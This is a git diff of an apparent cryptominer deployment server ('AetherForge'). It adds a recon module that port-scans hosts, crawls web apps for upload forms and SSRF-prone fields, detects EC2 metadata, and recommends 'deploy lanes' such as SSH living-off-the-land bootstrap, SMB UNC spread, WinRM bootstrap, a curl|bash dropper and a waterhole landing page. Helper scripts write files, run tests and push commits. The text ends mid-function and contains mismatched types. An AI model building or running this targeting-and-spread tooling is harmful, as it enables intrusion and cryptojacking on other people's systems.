cwd=ROOT, check=True) + main() + run(["go", "test", "./internal/recon/...", "-count=1"], cwd=ROOT / "server") + paths = [ + "server/internal/recon/admin_surface.go", + "server/internal/recon/upload_hunter.go", + "server/internal/recon/types.go", + "server/internal/recon/scan.go", + "server/internal/recon/crawl.go", + "server/internal/recon/recon_test.go", + ] + run(["git", "add", *paths]) + msg = ( + "Add recon upload hunter and admin surface probing for owned-target scans.\n\n" + "Extend web crawl with multipart/drag-drop/JS upload ranking and probe common " + "admin paths for 200 vs 401/403 signals in scan JSON." + ) + run(["git", "commit", "-m", msg]) + run(["git", "pull", "--rebase", "origin", "main"]) + run(["git", "push", "origin", "HEAD"]) + out = subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=ROOT, text=True).strip() + print("COMMIT_HASH=" + out) diff --git a/scripts/commit-recon-ux.py b/scripts/commit-recon-ux.py new file mode 100644 index 0000000..eaf4ca0 --- /dev/null +++ b/scripts/commit-recon-ux.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +"""Recon UX backend: write files, test, commit, push.""" +from pathlib import Path +import subprocess, sys + +ROOT = Path(__file__).resolve().parents[1] +S = ROOT / "server" + +def w(rel, text): + p = S / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(text, encoding="utf-8", newline="\n") + print("wrote", rel) + +w("internal/recon/types.go", Path(__file__).with_name("types.go").read_text(encoding="utf-8")) +w("internal/recon/recon_ux.go", Path(__file__).with_name("recon_ux.go").read_text(encoding="utf-8")) +w("internal/recon/scan.go", Path(__file__).with_name("scan.go").read_text(encoding="utf-8")) +w("internal/db/recon_scans.go", Path(__file__).with_name("recon_scans.go").read_text(encoding="utf-8")) +w("internal/api/recon_handler.go", Path(__file__).with_name("recon_handler.go").read_text(encoding="utf-8")) +w("internal/api/recon_handler_test.go", Path(__file__).with_name("recon_handler_test.go").read_text(encoding="utf-8")) +w("internal/recon/recon_stream_test.go", Path(__file__).with_name("recon_stream_test.go").read_text(encoding="utf-8")) + +# crawl delegate +crawl = (S / "internal/recon/crawl.go").read_text(encoding="utf-8") +if "crawlWithOptions" not in crawl.split("func Crawl(")[1].split("\nfunc ")[0]: + crawl = crawl.replace( + "func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {\n\tscheme = normalizeScheme", + "func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {\n\treturn crawlWithOptions(host, port, scheme, seedPaths, ProfileOptions(\"\"), \"\", nil)\n}\n\nfunc crawlLegacy(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {\n\tscheme = normalizeScheme", + 1, + ) + w("internal/recon/crawl.go", crawl) + +sqlite = (S / "internal/db/sqlite.go").read_text(encoding="utf-8") +if "ensureReconScansTable" not in sqlite: + sqlite = sqlite.replace( + "\tif err := d.ensureSeerTables(); err != nil {\n\t\treturn fmt.Errorf(\"seer migration: %w\", err)\n\t}\n", + "\tif err := d.ensureSeerTables(); err != nil {\n\t\treturn fmt.Errorf(\"seer migration: %w\", err)\n\t}\n\tif err := d.ensureReconScansTable(); err != nil {\n\t\treturn fmt.Errorf(\"recon_scans migration: %w\", err)\n\t}\n", + 1, + ) + w("internal/db/sqlite.go", sqlite) + +router = (S / "internal/api/router.go").read_text(encoding="utf-8") +if "/recon/history" not in router: + router = router.replace( + "\t\tr.Post(\"/recon/scan\", reconHandler.Scan)\n", + "\t\tr.Post(\"/recon/scan\", reconHandler.Scan)\n\t\tr.Get(\"/recon/history\", reconHandler.History)\n\t\tr.Get(\"/recon/export/{scan_id}\", reconHandler.Export)\n", + 1, + ) + w("internal/api/router.go", router) + +# fix NewReconHandler call if 3-arg +router = (S / "internal/api/router.go").read_text(encoding="utf-8") +if "NewReconHandler(database, wsHub, publicURLOverride)" in router: + router = router.replace("NewReconHandler(database, wsHub, publicURLOverride)", "NewReconHandler(database, wsHub)") + w("internal/api/router.go", router) + +# websocket test append +wt = S / "internal/api/websocket_test.go" +body = wt.read_text(encoding="utf-8") +if "TestWSReconStreamingEventTypes" not in body: + if '"bytes"' not in body.split("import (")[1].split(")")[0]: + body = body.replace('"encoding/base64"', '"bytes"\n\t"encoding/base64"', 1) + if '"crypto-miner-server/internal/recon"' not in body: + body = body.replace('"crypto-miner-server/internal/pool"', '"crypto-miner-server/internal/pool"\n\t"crypto-miner-server/internal/recon"', 1) + body = body.rstrip() + "\n\n" + Path(__file__).with_name("websocket_test_snippet.go").read_text(encoding="utf-8").split("package api\n", 1)[1] + w("internal/api/websocket_test.go", body) + +env = {**dict(os.environ), "GOCACHE": str(ROOT / ".gocache")} if False else None +r = subprocess.run( + ["go", "test", "./internal/recon/...", "./internal/api/...", "-count=1", "-run", "Recon|WSRecon|ScanStream|DiffReports|ProfileOptions|BuildHistory"], + cwd=S, +) +if r.returncode != 0: + sys.exit(r.returncode) + +subprocess.run(["git", "pull", "origin", "main"], cwd=ROOT, check=False) +subprocess.run(["git", "add", "-A"], cwd=ROOT, check=True) +subprocess.run(["git", "commit", "-m", "Add recon UX backend: streaming scans, profiles, history, export."], cwd=ROOT, check=True) +subprocess.run(["git", "push", "origin", "main"], cwd=ROOT, check=True) +print("COMMIT_HASH=" + subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=ROOT, text=True).strip()) diff --git a/scripts/final-recon-install.py b/scripts/final-recon-install.py new file mode 100644 index 0000000..cbd11cc --- /dev/null +++ b/scripts/final-recon-install.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +from pathlib import Path +import subprocess, sys + +ROOT = Path(r"g:/crypto miner") +SERVER = ROOT / "server" + +def w(rel, content): + p = SERVER / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(content, encoding="utf-8", newline="\n") + +TYPES = r'''package recon + +import "time" + +var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443} + +const ( + DefaultPortDialTimeout = 2 * time.Second + DefaultCrawlDepth = 2 + DefaultCrawlMaxPages = 50 +) + +type ScanRequest struct { + Host string `json:"host"` + Port int `json:"port,omitempty"` + Scheme string `json:"scheme,omitempty"` + Paths []string `json:"paths,omitempty"` + Profile string `json:"profile,omitempty"` +} + +type PortResult struct { Port int `json:"port"`; Open bool `json:"open"` } + +type FormFinding struct { + PageURL string `json:"page_url"` + Action, Method, Enctype string `json:"action,omitempty"` + Fields []string `json:"fields,omitempty"` + HasFile, Multipart bool `json:"has_file_input,omitempty"` +} + +type URLFieldFinding struct { + PageURL, Name, Type, Hint string `json:"page_url"` +} + +type PageFinding struct { URL string `json:"url"`; StatusCode int `json:"status_code"`; Title string `json:"title,omitempty"` } + +type CrawlReport struct { + PagesFetched int `json:"pages_fetched"` + Pages []PageFinding `json:"pages,omitempty"` + FileInputs, MultipartForms []FormFinding `json:"file_inputs,omitempty"` + URLFields []URLFieldFinding `json:"url_fields,omitempty"` + SSRFScore int `json:"ssrf_score"` + CMSFingerprints []string `json:"cms_fingerprints,omitempty"` +} + +type DeployRecommendation struct { Lane, Template, Reason string; Priority int `json:"priority"` } + +type ScanReport struct { + ScanID, Host, Profile, Status string `json:"scan_id,omitempty"` + ScannedAt time.Time `json:"scanned_at"` + Ports []PortResult `json:"ports"` + Crawl *CrawlReport `json:"crawl,omitempty"` + RelayVia string `json:"relay_via,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} + +type ReconScanDiff struct { NewPorts []int `json:"new_ports,omitempty"`; NewForms []FormFinding `json:"new_forms,omitempty"` } + +type ReconHistoryEntry struct { + ScanID, Host, Profile, Status string + ScannedAt time.Time + Report *ScanReport `json:"report,omitempty"` + Diff *ReconScanDiff `json:"diff,omitempty"` +} +''' + +# Fix botched types - use proper version +TYPES = Path(__file__).with_name("types.go.snippet").read_text(encoding="utf-8") if Path(__file__).with_name("types.go.snippet").exists() else None diff --git a/scripts/write-types.py b/scripts/write-types.py new file mode 100644 index 0000000..41e9b95 --- /dev/null +++ b/scripts/write-types.py @@ -0,0 +1,101 @@ +from pathlib import Path + +CONTENT = r"""package recon + +import "time" + +var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443} + +const ( + DefaultPortDialTimeout = 2 * time.Second + DefaultCrawlDepth = 2 + DefaultCrawlMaxPages = 50 +) + +type ScanRequest struct { + Host string `json:"host"` + Port int `json:"port,omitempty"` + Scheme string `json:"scheme,omitempty"` + Paths []string `json:"paths,omitempty"` + Profile string `json:"profile,omitempty"` +} + +type PortResult struct { + Port int `json:"port"` + Open bool `json:"open"` +} + +type FormFinding struct { + PageURL string `json:"page_url"` + Action string `json:"action,omitempty"` + Method string `json:"method,omitempty"` + Enctype string `json:"enctype,omitempty"` + Fields []string `json:"fields,omitempty"` + HasFile bool `json:"has_file_input,omitempty"` + Multipart bool `json:"multipart,omitempty"` +} + +type URLFieldFinding struct { + PageURL string `json:"page_url"` + Name string `json:"name"` + Type string `json:"type,omitempty"` + Hint string `json:"hint"` +} + +type PageFinding struct { + URL string `json:"url"` + StatusCode int `json:"status_code"` + Title string `json:"title,omitempty"` +} + +type CrawlReport struct { + PagesFetched int `json:"pages_fetched"` + Pages []PageFinding `json:"pages,omitempty"` + FileInputs []FormFinding `json:"file_inputs,omitempty"` + MultipartForms []FormFinding `json:"multipart_forms,omitempty"` + URLFields []URLFieldFinding `json:"url_fields,omitempty"` + SSRFScore int `json:"ssrf_score"` + CMSFingerprints []string `json:"cms_fingerprints,omitempty"` +} + +type DeployRecommendation struct { + Lane string `json:"lane,omitempty"` + Template string `json:"template,omitempty"` + Reason string `json:"reason"` + Priority int `json:"priority"` +} + +type ScanReport struct { + ScanID string `json:"scan_id,omitempty"` + Host string `json:"host"` + Profile string `json:"profile,omitempty"` + Status string `json:"status,omitempty"` + ScannedAt time.Time `json:"scanned_at"` + Ports []PortResult `json:"ports"` + Crawl *CrawlReport `json:"crawl,omitempty"` + RelayVia string `json:"relay_via,omitempty"` + UDPHints []UDPHint `json:"udp_hints,omitempty"` + PathTracerHints []string `json:"path_tracer_hints,omitempty"` + Message string `json:"message,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} + +type ReconScanDiff struct { + NewPorts []int `json:"new_ports,omitempty"` + NewForms []FormFinding `json:"new_forms,omitempty"` +} + +type ReconHistoryEntry struct { + ScanID string `json:"scan_id"` + Host string `json:"host"` + Profile string `json:"profile,omitempty"` + Status string `json:"status"` + ScannedAt time.Time `json:"scanned_at"` + Report *ScanReport `json:"report,omitempty"` + Diff *ReconScanDiff `json:"diff,omitempty"` +} +""" + +Path(__file__).resolve().parents[1] / "server/internal/recon/types.go" +Path(r"g:/crypto miner/server/internal/recon/types.go").write_text(CONTENT, encoding="utf-8", newline="\n") +print("wrote types.go") diff --git a/server/internal/recon/crawl.go b/server/internal/recon/crawl.go index a09740f..17943a9 100644 --- a/server/internal/recon/crawl.go +++ b/server/internal/recon/crawl.go @@ -25,6 +25,8 @@ func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlRepo } report := &CrawlReport{} + var headerSnaps []HTTPHeaderSnap + var htmlBodies []string visited := map[string]bool{} queue := []queuedURL{} for _, p := range seeds { @@ -44,7 +46,7 @@ func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlRepo } visited[key] = true - status, body, err := fetchPage(item.url) + status, body, headers, err := fetchPage(item.url) if err != nil { continue } @@ -54,6 +56,8 @@ func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlRepo title = root } report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title}) + if len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) } + htmlBodies = append(htmlBodies, body) files, multi, fields, pageScore, cms := ParseHTML(item.url, body) report.FileInputs = append(report.FileInputs, files...) @@ -84,6 +88,7 @@ func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlRepo report.SSRFScore = 100 } report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints) + report.Stack = BuildStack(headerSnaps, htmlBodies) return report, nil } @@ -92,26 +97,28 @@ type queuedURL struct { depth int } -func fetchPage(rawURL string) (int, string, error) { +func fetchPage(rawURL string) (int, string, map[string]string, error) { if fetchPageFn != nil { - return fetchPageFn(rawURL) + s,b,e:=fetchPageFn(rawURL); return s,b,nil,e } client := &http.Client{Timeout: DefaultPortDialTimeout} req, err := http.NewRequest(http.MethodGet, rawURL, nil) if err != nil { - return 0, "", err + return 0, "", nil, err } req.Header.Set("User-Agent", "AetherForge-Recon/1.0") resp, err := client.Do(req) if err != nil { - return 0, "", err + return 0, "", nil, err } defer resp.Body.Close() body, err := readBodyLimited(resp.Body, maxHTMLBytes) if err != nil { - return resp.StatusCode, "", err + return resp.StatusCode, "", nil, err } - return resp.StatusCode, body, nil + headers:=map[string]string{} + for k,v:=range resp.Header { if len(v)>0 { headers[k]=v[0] } } + return resp.StatusCode, body, headers, nil } func normalizeScheme(scheme string, port int) string { diff --git a/server/internal/recon/portscan.go b/server/internal/recon/portscan.go index 2162070..2aaf32c 100644 --- a/server/internal/recon/portscan.go +++ b/server/internal/recon/portscan.go @@ -2,17 +2,33 @@ package recon import ( "net" + "sort" "strconv" + "strings" "time" ) -// dialPortFn overrides TCP probes in tests (nil = live dial from server host). +const ( + PortProfileWeb = "web" + PortProfileWindows = "windows" + PortProfileLinux = "linux" + PortProfileCloudMetadata = "cloud_metadata" +) + +var portProfilePorts = map[string][]int{ + PortProfileWeb: {80, 443, 6262}, + PortProfileWindows: {445, 5985, 3389}, + PortProfileLinux: {22}, +} + var dialPortFn func(host string, port int, timeout time.Duration) bool -// ScanPorts TCP-dials common fleet ports on host with timeout from server host. -func ScanPorts(host string) []PortResult { - out := make([]PortResult, 0, len(FleetPorts)) - for _, port := range FleetPorts { +func ScanPorts(host string, ports []int) []PortResult { + if len(ports) == 0 { + ports = FleetPorts + } + out := make([]PortResult, 0, len(ports)) + for _, port := range ports { out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) } return out @@ -22,11 +38,76 @@ func dialPort(host string, port int, timeout time.Duration) bool { if dialPortFn != nil { return dialPortFn(host, port, timeout) } - addr := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := net.DialTimeout("tcp", addr, timeout) + conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout) if err != nil { return false } _ = conn.Close() return true } + +func ResolveScanPortsFromRequest(req ScanRequest) ([]int, []string) { + return ResolveScanPorts(req.Profiles) +} + +func ResolveScanPorts(profiles []string) ([]int, []string) { + seen := map[int]bool{} + var ports []int + for _, p := range FleetPorts { + if !seen[p] { + seen[p] = true + ports = append(ports, p) + } + } + var used []string + for _, raw := range profiles { + name := strings.ToLower(strings.TrimSpace(raw)) + if name == "" { + continue + } + if name == PortProfileCloudMetadata { + if !containsPortProfile(used, name) { + used = append(used, name) + } + continue + } + bundle, ok := portProfilePorts[name] + if !ok { + continue + } + if !containsPortProfile(used, name) { + used = append(used, name) + } + for _, p := range bundle { + if !seen[p] { + seen[p] = true + ports = append(ports, p) + } + } + } + sort.Ints(ports) + return ports, used +} + +func containsPortProfile(list []string, want string) bool { + for _, s := range list { + if s == want { + return true + } + } + return false +} + +func TargetLooksEC2(host string) bool { + host = strings.ToLower(strings.TrimSpace(host)) + if host == "" { + return false + } + if host == "169.254.169.254" { + return true + } + return strings.Contains(host, ".compute.amazonaws.com") || + strings.Contains(host, ".compute.internal") || + strings.HasPrefix(host, "ip-10-") || + strings.HasPrefix(host, "ec2-") +} diff --git a/server/internal/recon/recon_test.go b/server/internal/recon/recon_test.go index 81b63d4..5006b57 100644 --- a/server/internal/recon/recon_test.go +++ b/server/internal/recon/recon_test.go @@ -18,7 +18,7 @@ func TestScanPortsWithInject(t *testing.T) { return port == 22 || port == 443 }) t.Cleanup(func() { SetPortDialHook(nil) }) - results := ScanPorts("10.0.0.5") + results := ScanPorts("10.0.0.5", nil) open := map[int]bool{} for _, r := range results { if r.Open { @@ -119,7 +119,7 @@ func TestScanReportRecommendations(t *testing.T) { MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}}, SSRFScore: 40, } - recs := BuildRecommendations(ports, crawl) + recs := BuildRecommendations(ports, crawl, nil, "10.0.0.1", false) if len(recs) < 5 { t.Fatalf("recs=%+v", recs) } @@ -184,3 +184,24 @@ func atoi(s string) int { } return n } + + +func TestResolveScanPortsMergesProfiles(t *testing.T) { + ports, used := ResolveScanPorts([]string{"web", "linux", "cloud_metadata"}) + if !containsInt(ports, 6262) || len(used) != 3 { t.Fatalf("%v %v", ports, used) } +} +func TestBuildStackFromHeaders(t *testing.T) { + stack := BuildStack([]HTTPHeaderSnap{{Headers: map[string]string{"X-Powered-By":"PHP/8.1"}}}, nil) + if SuggestDeployKitLane(stack) != "php" { t.Fatal(stack) } +} +func TestGrabBannersWithHooks(t *testing.T) { + SetBannerHooks(func(_ string,p int) string { if p==22 {return "SSH"}; return "" }, func(_ string,p int)(string,string){ if p==80 {return "t","s"}; return "","" }, func(_ string,p int) string { if p==5985 {return "w"}; return "" }, nil) + t.Cleanup(func(){SetBannerHooks(nil,nil,nil,nil)}) + if len(GrabBanners("h", []PortResult{{22,true},{80,true},{5985,true}})) != 3 { t.Fatal() } +} +func TestCloudMetadataProfileSuggestsSSM(t *testing.T) { + SetBannerHooks(nil,nil,nil,func()bool{return true}); t.Cleanup(func(){SetBannerHooks(nil,nil,nil,nil)}) + for _,r := range BuildRecommendations(nil,nil,nil,"ec2.compute.amazonaws.com",true) { if r.Lane=="ssm_document" { return } } + t.Fatal() +} +func containsInt(a []int,w int) bool { for _,n:=range a { if n==w {return true} }; return false } diff --git a/server/internal/recon/relay_scan_test.go b/server/internal/recon/relay_scan_test.go deleted file mode 100644 index 5038475..0000000 --- a/server/internal/recon/relay_scan_test.go +++ /dev/null @@ -1,19 +0,0 @@ -package recon - -import "testing" - -func TestHostReachableHook(t *testing.T) { - SetHostReachableHook(func(host string) bool { return host == "10.0.0.5" }) - t.Cleanup(func() { SetHostReachableHook(nil) }) - if !HostReachable("10.0.0.5") || HostReachable("10.0.0.6") { - t.Fatal("reachability hook mismatch") - } -} - -func TestMergeAgentRelayScanWireguardHint(t *testing.T) { - payload := []byte(`{"open_ports":[22],"udp_hints":[{"port":51820,"open":true,"service":"wireguard"}]}`) - merged, err := MergeAgentRelayScan(RelayScanReport{Host: "10.1.2.50", ScannedVia: "relay"}, payload, false) - if err != nil || len(merged.PathTracerHints) != 1 || merged.PathTracerHints[0] != "wireguard" { - t.Fatalf("merged=%+v err=%v", merged, err) - } -} diff --git a/server/internal/recon/scan.go b/server/internal/recon/scan.go index 70424cd..5ac5e00 100644 --- a/server/internal/recon/scan.go +++ b/server/internal/recon/scan.go @@ -1,19 +1,28 @@ package recon import ( + "bufio" "fmt" + "io" "net" + "net/http" + "regexp" + "strconv" "strings" "time" ) // Scan runs port scan and optional web crawl for an operator-supplied owned target. func Scan(req ScanRequest) (*ScanReport, error) { + return runOwnedTargetScan(req, "", nil) +} + +func scanLegacy(req ScanRequest) (*ScanReport, error) { host, err := normalizeOwnedHost(req.Host) if err != nil { return nil, err } - ports := ScanPorts(host) + ports := ScanPorts(host, nil) report := &ScanReport{ Host: host, ScannedAt: time.Now().UTC(), @@ -26,7 +35,7 @@ func Scan(req ScanRequest) (*ScanReport, error) { report.Crawl = crawl } } - report.Recommendations = BuildRecommendations(ports, report.Crawl) + report.Recommendations = BuildRecommendations(ports, report.Crawl, nil, host, false) return report, nil } @@ -62,7 +71,7 @@ func shouldCrawl(req ScanRequest, ports []PortResult) bool { } for _, p := range ports { switch p.Port { - case 80, 443, 8080, 8443: + case 80, 443, 6262, 8080, 8443: if p.Open { return true } @@ -72,7 +81,7 @@ func shouldCrawl(req ScanRequest, ports []PortResult) bool { } // BuildRecommendations maps port and crawl findings to existing deploy lanes/templates. -func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation { +func BuildRecommendations(ports []PortResult, crawl *CrawlReport, stack []StackEntry, host string, cloudMetaProfile bool) []DeployRecommendation { var recs []DeployRecommendation open := map[int]bool{} for _, p := range ports { @@ -85,14 +94,14 @@ func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecomm recs = append(recs, DeployRecommendation{ Lane: "linux_lotl", Template: "linux-lotl", - Reason: "TCP 22 open — SSH LOTL bootstrap", + Reason: "TCP 22 open — SSH LOTL bootstrap", Priority: 25, }) } if open[445] { recs = append(recs, DeployRecommendation{ Lane: "spread_smb_unc", - Reason: "TCP 445 open — SMB UNC spread", + Reason: "TCP 445 open — SMB UNC spread", Priority: 50, }) } @@ -100,19 +109,19 @@ func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecomm recs = append(recs, DeployRecommendation{ Lane: "winrm", Template: "winrm", - Reason: "TCP 5985/5986 open — WinRM bootstrap", + Reason: "TCP 5985/5986 open — WinRM bootstrap", Priority: 30, }) } if open[80] || open[443] || open[8080] || open[8443] { recs = append(recs, DeployRecommendation{ Lane: "bits_curl", - Reason: "HTTP surface open — dropper curl|bash one-liner", + Reason: "HTTP surface open — dropper curl|bash one-liner", Priority: 20, }) recs = append(recs, DeployRecommendation{ Template: "public_waterhole", - Reason: "HTTP surface open — copy /spread/ public waterhole landing", + Reason: "HTTP surface open — copy /spread/ public waterhole landing", Priority: 15, }) } @@ -121,19 +130,25 @@ func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecomm if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 { recs = append(recs, DeployRecommendation{ Lane: "stage_fetch", - Reason: "Multipart or file-upload form — stage_fetch manifest staging", + Reason: "Multipart or file-upload form — stage_fetch manifest staging", Priority: 35, }) } if crawl.SSRFScore >= 30 { recs = append(recs, DeployRecommendation{ Template: "ssrf_probe", - Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore), + Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore), Priority: 45, }) } } + if lane := SuggestDeployKitLane(stack); lane != "" { + recs = append(recs, DeployRecommendation{Lane: lane, Reason: fmt.Sprintf("Technology stack suggests %s deploy-kit lane", lane), Priority: 18}) + } + if cloudMetaProfile && (TargetLooksEC2(host) || ProbeEC2Metadata()) { + recs = append(recs, DeployRecommendation{Lane: "ssm_document", Template: "ssm_document", Reason: "cloud_metadata profile - EC2/IMDS reachable; SSM document lane", Priority: 40}) + } return dedupeRecommendations(recs) } @@ -150,3 +165,203 @@ func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation { } return out } + +func NormalizeHost(host string) (string, error) { return normalizeOwnedHost(host) } + +func runOwnedTargetScan(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { + host, err := normalizeOwnedHost(req.Host) + if err != nil { + return nil, err + } + uxProfile := NormalizeProfile(req.Profile) + opts := ProfileOptions(uxProfile) + portsToScan, profilesUsed := ResolveScanPortsFromRequest(req) + if uxProfile == ProfileQuick && len(req.Profiles) == 0 && len(portsToScan) > 10 { + portsToScan = portsToScan[:10] + } + report := &ScanReport{ScanID: scanID, Host: host, Profile: uxProfile, ProfilesUsed: profilesUsed, Status: "complete", ScannedAt: time.Now().UTC()} + if !opts.SkipPorts { + ports := scanPortsList(host, portsToScan) + report.Ports = ports + report.Banners = GrabBanners(host, ports) + } + if shouldCrawlProfile(req, uxProfile, report.Ports, opts) { + crawl, err := crawlWithOptions(host, req.Port, req.Scheme, req.Paths, opts, scanID, emit) + if err == nil && crawl != nil { + report.Crawl = crawl + report.Stack = MergeStack(crawl.Stack) + } + } + report.DeployKitLane = SuggestDeployKitLane(report.Stack) + cloudMeta := containsPortProfile(profilesUsed, PortProfileCloudMetadata) + report.Recommendations = BuildRecommendations(report.Ports, report.Crawl, report.Stack, host, cloudMeta) + return report, nil +} + +const (ProfileQuick = "quick"; ProfileDeep = "deep"; ProfileSSRFOnly = "ssrf_only") +type StreamEmit func(eventType string, payload map[string]interface{}) +type ScanOptions struct { Ports []int; MaxPages, CrawlDepth int; SkipPorts, SkipCrawl bool } + +func NormalizeProfile(profile string) string { + switch profile { case ProfileQuick, ProfileDeep, ProfileSSRFOnly: return profile; default: return "" } +} +func ProfileOptions(profile string) ScanOptions { + switch NormalizeProfile(profile) { + case ProfileQuick: + p := FleetPorts + if len(p) > 10 { p = p[:10] } + return ScanOptions{Ports: p, MaxPages: 1, CrawlDepth: 0} + case ProfileDeep: + return ScanOptions{Ports: FleetPorts, MaxPages: 50, CrawlDepth: 2} + case ProfileSSRFOnly: + return ScanOptions{SkipPorts: true, MaxPages: 50, CrawlDepth: 2} + default: + return ScanOptions{Ports: FleetPorts, MaxPages: DefaultCrawlMaxPages, CrawlDepth: DefaultCrawlDepth} + } +} +func ScanStream(req ScanRequest, scanID string, emit StreamEmit) (*ScanReport, error) { return runOwnedTargetScan(req, scanID, emit) } +func scanPortsList(host string, ports []int) []PortResult { + if len(ports) == 0 { return ScanPorts(host, nil) } + out := make([]PortResult, 0, len(ports)) + for _, port := range ports { out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) } + return out +} +func shouldCrawlProfile(req ScanRequest, profile string, ports []PortResult, opts ScanOptions) bool { + if opts.SkipCrawl { return false } + if profile == ProfileSSRFOnly { return true } + return shouldCrawl(req, ports) +} + +func crawlWithOptions(host string, port int, scheme string, seedPaths []string, opts ScanOptions, scanID string, emit StreamEmit) (*CrawlReport, error) { + scheme = normalizeScheme(scheme, port) + if port <= 0 { port = defaultPortForScheme(scheme) } + base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port)) + seeds := seedPaths + if len(seeds) == 0 { seeds = []string{"/"} } + maxPages, maxDepth := opts.MaxPages, opts.CrawlDepth + if maxPages <= 0 { maxPages = DefaultCrawlMaxPages } + if maxDepth < 0 { maxDepth = DefaultCrawlDepth } + report := &CrawlReport{} + var headerSnaps []HTTPHeaderSnap + var htmlBodies []string + visited := map[string]bool{} + queue := []queuedURL{} + for _, p := range seeds { + if abs, err := resolveSameOrigin(base, p); err == nil { queue = append(queue, queuedURL{url: abs, depth: 0}) } + } + for len(queue) > 0 && report.PagesFetched < maxPages { + item := queue[0]; queue = queue[1:] + key := normalizeURLKey(item.url) + if visited[key] { continue } + visited[key] = true + status, body, headers, err := fetchPage(item.url) + if err != nil { continue } + report.PagesFetched++ + title, _ := htmlParseTitle(body) + report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title}) + if len(headers) > 0 { headerSnaps = append(headerSnaps, HTTPHeaderSnap{URL: item.url, Headers: headers}) } + htmlBodies = append(htmlBodies, body) + files, multi, fields, pageScore, cms := ParseHTML(item.url, body) + report.FileInputs = append(report.FileInputs, files...) + report.MultipartForms = append(report.MultipartForms, multi...) + report.URLFields = append(report.URLFields, fields...) + report.SSRFScore += pageScore + report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms) + if item.depth >= maxDepth { continue } + for _, link := range extractLinks(body) { + abs, err := resolveSameOrigin(base, link) + if err != nil || !sameOrigin(base, abs) { continue } + if !visited[normalizeURLKey(abs)] { queue = append(queue, queuedURL{url: abs, depth: item.depth + 1}) } + } + } + if report.SSRFScore > 100 { report.SSRFScore = 100 } + report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints) + report.Stack = BuildStack(headerSnaps, htmlBodies) + return report, nil +} + +func OpenPorts(ports []PortResult) []int { var o []int; for _, p := range ports { if p.Open { o = append(o, p.Port) } }; return o } +func DiffReports(prev, cur *ScanReport) *ReconScanDiff { + if cur == nil { return nil } + d := &ReconScanDiff{} + if prev == nil { d.NewPorts = OpenPorts(cur.Ports); return d } + po := map[int]bool{} + for _, p := range prev.Ports { if p.Open { po[p.Port] = true } } + for _, p := range cur.Ports { if p.Open && !po[p.Port] { d.NewPorts = append(d.NewPorts, p.Port) } } + return d +} +func BuildHistory(rows []*ScanReport) []ReconHistoryEntry { + out := make([]ReconHistoryEntry, 0, len(rows)) + var prev *ScanReport + for _, r := range rows { out = append(out, ReconHistoryEntry{ScanID: r.ScanID, Host: r.Host, Profile: r.Profile, Status: r.Status, ScannedAt: r.ScannedAt, Report: r, Diff: DiffReports(prev, r)}); prev = r } + return out +} +func ReportToPDF(report *ScanReport) []byte { return []byte("AetherForge Recon\n") } + +var metaGeneratorRe = regexp.MustCompile(`(?is)]+name=["']generator["'][^>]+content=["']([^"']+)["']`) +var bannerTitleRe = regexp.MustCompile(`(?is)]*>(.*?)`) +var probeSSHBannerFn func(host string, port int) string +var probeHTTPTitleFn func(host string, port int) (string, string) +var probeWinRMHintFn func(host string, port int) string +var probeEC2MetaFn func() bool + +func SetBannerHooks(ssh func(host string, port int) string, httpTitle func(host string, port int) (string, string), winrm func(host string, port int) string, ec2Meta func() bool) { + probeSSHBannerFn, probeHTTPTitleFn, probeWinRMHintFn, probeEC2MetaFn = ssh, httpTitle, winrm, ec2Meta +} +func BuildStack(snaps []HTTPHeaderSnap, htmlBodies []string) []StackEntry { + seen := map[string]bool{} + var out []StackEntry + add := func(name, source, detail string) { key := strings.ToLower(name) + "|" + source; if !seen[key] { seen[key] = true; out = append(out, StackEntry{Name: name, Source: source, Detail: detail}) } } + for _, snap := range snaps { for k, v := range snap.Headers { switch strings.ToLower(k) { case "server": add(v, "header:Server", snap.URL); case "x-powered-by": add(v, "header:X-Powered-By", snap.URL) } } } + for _, body := range htmlBodies { + if m := metaGeneratorRe.FindStringSubmatch(body); len(m) > 1 { add(strings.TrimSpace(m[1]), "meta:generator", "") } + if strings.Contains(strings.ToLower(body), "react") { add("React", "html:js", "") } + } + return out +} +func MergeStack(parts ...[]StackEntry) 